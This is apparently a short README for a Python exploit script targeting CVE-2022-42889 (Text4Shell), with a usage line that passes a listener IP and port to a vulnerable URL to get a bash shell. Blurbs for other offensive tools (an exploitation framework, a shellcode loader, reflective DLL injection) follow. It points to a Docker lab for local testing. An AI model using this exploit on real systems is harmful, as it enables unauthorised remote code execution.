
python script for CVE-2022-42889
Python script for CVE-2022-42889
To test this locally follow the docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker
For a PHP version of this: https://github.com/ClickCyber/cve-2022-42889
If youre running this and exploiting it locally, the IP you need to use is the gateway generated when the docker container is created
After getting a bash shell on the docker container

Ensure you make the script executable with chmod
./cve-2022-42889.py 172.17.0.1 9001 'http://localhost/text4shell/attack?search='

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42889

Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode